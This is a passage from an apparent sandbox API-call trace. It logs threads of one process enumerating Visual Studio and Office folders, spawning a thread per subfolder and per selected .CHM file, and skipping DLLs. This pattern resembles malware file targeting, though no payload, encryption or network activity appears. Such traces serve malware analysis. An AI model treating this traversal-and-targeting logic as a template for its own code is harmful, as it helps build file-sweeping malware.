(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced94e0) returned 1 [0120.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e330) returned 1 Thread: id = 1029 os_tid = 0x16d8 [0110.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4a9f0 [0110.265] wcscpy (in: _Dest=0x1cf4a9f0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0110.265] wcscat (in: _Dest=0x1cf4a9f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0110.265] wcscat (in: _Dest=0x1cf4a9f0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*" [0110.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0110.265] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cf70 [0110.267] wcscmp (_String1=".", _String2=".") returned 0 [0110.267] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.267] wcscmp (_String1="..", _String2=".") returned 1 [0110.267] wcscmp (_String1="..", _String2="..") returned 0 [0110.267] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 1 [0110.267] wcscmp (_String1="Debugger", _String2=".") returned 1 [0110.267] wcscmp (_String1="Debugger", _String2="..") returned 1 [0110.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cfb0 [0110.267] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" [0110.267] wcscat (in: _Dest=0x4205cfb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\" [0110.267] wcscat (in: _Dest=0x4205cfb0, _Source="Debugger" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" [0126.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x4205cfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08 [0126.847] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Debugger", cAlternateFileName="")) returned 0 [0126.848] FindClose (in: hFindFile=0x1cd9cf70 | out: hFindFile=0x1cd9cf70) returned 1 [0126.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fcd0) returned 1 [0126.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4a9f0) returned 1 [0126.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b7f0) returned 1 Thread: id = 1030 os_tid = 0x16d4 [0110.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4aba0 [0110.269] wcscpy (in: _Dest=0x1cf4aba0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0110.269] wcscat (in: _Dest=0x1cf4aba0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0110.269] wcscat (in: _Dest=0x1cf4aba0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*" [0110.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ee30 [0110.269] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c550 [0110.270] wcscmp (_String1=".", _String2=".") returned 0 [0110.270] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.278] wcscmp (_String1="..", _String2=".") returned 1 [0110.278] wcscmp (_String1="..", _String2="..") returned 0 [0110.278] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivateAssemblies", cAlternateFileName="PRIVAT~1")) returned 1 [0110.278] wcscmp (_String1="PrivateAssemblies", _String2=".") returned 1 [0110.278] wcscmp (_String1="PrivateAssemblies", _String2="..") returned 1 [0110.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd640b0 [0110.278] wcscpy (in: _Dest=0x1cd640b0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0110.278] wcscat (in: _Dest=0x1cd640b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0110.278] wcscat (in: _Dest=0x1cd640b0, _Source="PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0120.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd640b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0120.439] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0120.440] wcscmp (_String1="PublicAssemblies", _String2=".") returned 1 [0120.440] wcscmp (_String1="PublicAssemblies", _String2="..") returned 1 [0120.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202add90 [0120.440] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0120.440] wcscat (in: _Dest=0x202add90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0120.440] wcscat (in: _Dest=0x202add90, _Source="PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0120.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202add90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1270 [0120.441] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0120.441] wcscmp (_String1="VSTA", _String2=".") returned 1 [0120.441] wcscmp (_String1="VSTA", _String2="..") returned 1 [0120.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a40b0 [0120.441] wcscpy (in: _Dest=0x202a40b0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" [0120.441] wcscat (in: _Dest=0x202a40b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\" [0120.441] wcscat (in: _Dest=0x202a40b0, _Source="VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0120.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a40b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x126c [0120.442] FindNextFileW (in: hFindFile=0x1cd9c550, lpFindFileData=0x1ce1ee30 | out: lpFindFileData=0x1ce1ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0120.443] FindClose (in: hFindFile=0x1cd9c550 | out: hFindFile=0x1cd9c550) returned 1 [0120.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ee30) returned 1 [0120.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4aba0) returned 1 [0120.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c7b0) returned 1 Thread: id = 1031 os_tid = 0x16d0 [0110.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8698c0 [0110.280] wcscpy (in: _Dest=0x1b8698c0, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0110.280] wcscat (in: _Dest=0x1b8698c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0110.280] wcscat (in: _Dest=0x1b8698c0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*" [0110.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0110.280] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c3d0 [0110.284] wcscmp (_String1=".", _String2=".") returned 0 [0110.284] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.284] wcscmp (_String1="..", _String2=".") returned 1 [0110.284] wcscmp (_String1="..", _String2="..") returned 0 [0110.284] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2778, dwReserved0=0x0, dwReserved1=0x0, cFileName="BHOINTL.DLL", cAlternateFileName="")) returned 1 [0110.284] wcscmp (_String1="BHOINTL.DLL", _String2=".") returned 1 [0110.284] wcscmp (_String1="BHOINTL.DLL", _String2="..") returned 1 [0110.284] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0110.284] wcscmp (_String1="DL_RES.DLL", _String2=".") returned 1 [0110.284] wcscmp (_String1="DL_RES.DLL", _String2="..") returned 1 [0110.284] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb59f00, ftCreationTime.dwHighDateTime=0x1cb7019, ftLastAccessTime.dwLowDateTime=0xba6a7220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfeb59f00, ftLastWriteTime.dwHighDateTime=0x1cb7019, nFileSizeHigh=0x0, nFileSizeLow=0x864b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="GROOVE~1.DLL")) returned 1 [0110.284] wcscmp (_String1="GrooveIntlResource.dll", _String2=".") returned 1 [0110.285] wcscmp (_String1="GrooveIntlResource.dll", _String2="..") returned 1 [0110.285] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff6a5200, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x19b36970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff6a5200, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0110.285] wcscmp (_String1="MAPISHELLR.DLL", _String2=".") returned 1 [0110.285] wcscmp (_String1="MAPISHELLR.DLL", _String2="..") returned 1 [0110.285] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x19f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCLTINT.DLL", cAlternateFileName="")) returned 1 [0110.285] wcscmp (_String1="OCLTINT.DLL", _String2=".") returned 1 [0110.285] wcscmp (_String1="OCLTINT.DLL", _String2="..") returned 1 [0110.285] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83bac00, ftCreationTime.dwHighDateTime=0x1c650be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc83bac00, ftLastWriteTime.dwHighDateTime=0x1c650be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWSHLP10.CHM", cAlternateFileName="")) returned 1 [0110.285] wcscmp (_String1="OWSHLP10.CHM", _String2=".") returned 1 [0110.285] wcscmp (_String1="OWSHLP10.CHM", _String2="..") returned 1 [0110.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4ab10 [0110.285] wcscpy (in: _Dest=0x1cf4ab10, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0110.285] wcscat (in: _Dest=0x1cf4ab10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0110.285] wcscat (in: _Dest=0x1cf4ab10, _Source="OWSHLP10.CHM" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\OWSHLP10.CHM" [0126.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ab10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0126.850] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed67eb00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed67eb00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x37b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUCRES.DLL", cAlternateFileName="")) returned 1 [0126.850] wcscmp (_String1="STSUCRES.DLL", _String2=".") returned 1 [0126.850] wcscmp (_String1="STSUCRES.DLL", _String2="..") returned 1 [0126.850] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd45f3a00, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd45f3a00, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSUPLD.INTL.DLL", cAlternateFileName="STSUPL~1.DLL")) returned 1 [0126.851] wcscmp (_String1="STSUPLD.INTL.DLL", _String2=".") returned 1 [0126.851] wcscmp (_String1="STSUPLD.INTL.DLL", _String2="..") returned 1 [0126.851] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f1e580, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x5f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVBRES.DLL", cAlternateFileName="")) returned 1 [0126.851] wcscmp (_String1="UMLVBRES.DLL", _String2=".") returned 1 [0126.851] wcscmp (_String1="UMLVBRES.DLL", _String2="..") returned 1 [0126.851] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6980, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVC60R.DLL", cAlternateFileName="")) returned 1 [0126.851] wcscmp (_String1="UMLVC60R.DLL", _String2=".") returned 1 [0126.851] wcscmp (_String1="UMLVC60R.DLL", _String2="..") returned 1 [0126.851] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25477100, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x50f446e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x25477100, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x4590, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMLVSUI.DLL", cAlternateFileName="")) returned 1 [0126.851] wcscmp (_String1="UMLVSUI.DLL", _String2=".") returned 1 [0126.851] wcscmp (_String1="UMLVSUI.DLL", _String2="..") returned 1 [0126.851] FindNextFileW (in: hFindFile=0x1cd9c3d0, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f047000, ftCreationTime.dwHighDateTime=0x1c3143b, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f047000, ftLastWriteTime.dwHighDateTime=0x1c3143b, nFileSizeHigh=0x0, nFileSizeLow=0x411f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAOWS10.CHM", cAlternateFileName="")) returned 1 [0126.851] wcscmp (_String1="VBAOWS10.CHM", _String2=".") returned 1 [0126.851] wcscmp (_String1="VBAOWS10.CHM", _String2="..") returned 1 [0126.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b85b7f0 [0126.851] wcscpy (in: _Dest=0x1b85b7f0, _Source="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" [0126.851] wcscat (in: _Dest=0x1b85b7f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\" [0126.851] wcscat (in: _Dest=0x1b85b7f0, _Source="VBAOWS10.CHM" | out: _Dest="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM") returned="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\VBAOWS10.CHM" [0126.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 